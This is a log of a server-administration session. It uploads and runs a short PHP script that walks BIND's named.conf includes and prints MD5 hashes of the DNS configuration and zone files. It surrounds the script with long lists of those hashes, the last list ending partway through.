MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 12:32:39: Establishing a connection
2026-04-24 12:32:39: 

PUT: /tmp/pkp571678

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 12:32:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp571678; rm /tmp/pkp571678'

2026-04-24 12:32:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
